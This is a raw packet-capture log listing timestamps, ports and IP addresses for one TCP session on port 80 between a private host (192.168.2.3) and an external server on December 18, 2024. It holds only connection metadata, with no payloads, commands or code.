Dec 18, 2024 20:56:35.877048969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.877147913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.877278090 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.878171921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.878288984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.878582954 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.879260063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.879384995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.879594088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.880362988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.880453110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.880933046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.881499052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.881629944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.881738901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.882603884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.882702112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.882863998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.883747101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.883796930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.884227037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.884834051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.885004997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.885107994 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.885973930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.886084080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.886521101 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.887061119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.887202978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.887594938 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.888185024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.888334990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.888705969 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.889333963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.889445066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.889605045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.890381098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.890455008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.890863895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.891417980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.891587019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.891985893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.892760992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.892888069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.893034935 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.893673897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.893759966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.894721985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.894810915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.894900084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.895216942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.895924091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.896106005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.896265030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.897003889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.897146940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.898118973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.898217916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.898248911 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.899122953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.899266005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.899326086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.899408102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.900362015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.900450945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.901454926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.901544094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.901571035 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.902127981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.902600050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.902823925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.903042078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.903759956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.903886080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.903990984 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.904831886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.904969931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.905073881 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.905911922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.905994892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.906966925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.907062054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.907088995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.907284975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.908413887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.908535957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.909182072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.909241915 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.909571886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.909836054 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.910200119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.910345078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.910800934 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.911300898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.962583065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.045747995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.045799971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.045856953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.045933008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.046122074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.046178102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.047151089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.047236919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.047297955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.048224926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.048418999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.048463106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.049489021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.049573898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.049614906 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.051687002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.051909924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.051964998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.053400040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.053605080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.053653955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.054668903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.054872036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.054920912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.055412054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.055573940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.055624008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.056421995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.056525946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.056670904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.057157993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.057254076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.057305098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.058670998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.058685064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.058780909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.059233904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.059469938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.059514046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.059839010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.059981108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.060235023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.060581923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.060656071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.060700893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.061501980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.061655045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.061696053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.062599897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.062719107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.063034058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.063831091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.063947916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.063998938 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.065102100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.065226078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.065454006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.065982103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.066107035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.066152096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.067080975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.067214012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.067250967 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.068146944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.068278074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.068335056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.069396973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.069520950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.069617987 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.070400000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.070506096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.070614100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.071526051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.071599960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.071641922 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.072628975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.072721004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.072787046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.073800087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.074060917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.074114084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.074807882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.074947119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.075006008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.076076984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.076162100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.076370955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.077014923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.077178001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.077368975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.078114986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.078238964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.078285933 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.079194069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.079286098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.079509020 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.080333948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.080508947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.080553055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.081604004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.081619024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.081665993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.082545042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.082648039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.082853079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.083710909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.083795071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.083852053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.084760904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.084887981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.084953070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.085870028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.085958004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.085997105 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.086977005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.087104082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.087280035 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.088078022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.088241100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.088336945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.089201927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.089333057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.089378119 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.090331078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.090456963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.090516090 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.091412067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.091559887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.091690063 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.092570066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.092677116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.092729092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.093615055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.093842983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.093892097 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.094757080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.094927073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.094973087 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.095828056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.095925093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.095979929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.096950054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.097034931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.097076893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.098300934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.098315954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.098373890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.099301100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.099334002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.099720001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.100284100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.100477934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.100518942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.100583076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.101511002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.101613045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.101660013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.102721930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.102777958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.102797985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.103749990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.103837013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.238390923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.238462925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.238524914 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.238897085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.239151955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.239200115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.240410089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.240550041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.240612030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.241209984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.241369963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.241516113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.242666006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.242798090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.242835999 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.243977070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.244121075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.244158030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.245263100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.245357990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.245439053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.246313095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.246418953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.246562958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.247356892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.247422934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.247479916 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.248255968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.248439074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.248508930 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.249840975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.249950886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.249986887 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.251344919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.251457930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.251643896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.252315998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.252600908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.252662897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.253408909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.253767014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.253810883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.254573107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.254712105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.254923105 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.255870104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.256002903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.256053925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.256897926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.257085085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.257191896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.257890940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.257986069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.258038998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.258909941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.259067059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.259121895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.259959936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.260065079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.260471106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.261008978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.261090994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.261147022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.262028933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.262137890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.262569904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.262968063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.263124943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.263200998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.263927937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.264025927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.264297962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.265156031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.265330076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.265383959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.266355038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.266472101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.266562939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.267491102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.267534971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.267642975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:36.268731117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:36.268783092 CET	80	49747	185.185.71.170	192.168.2.3
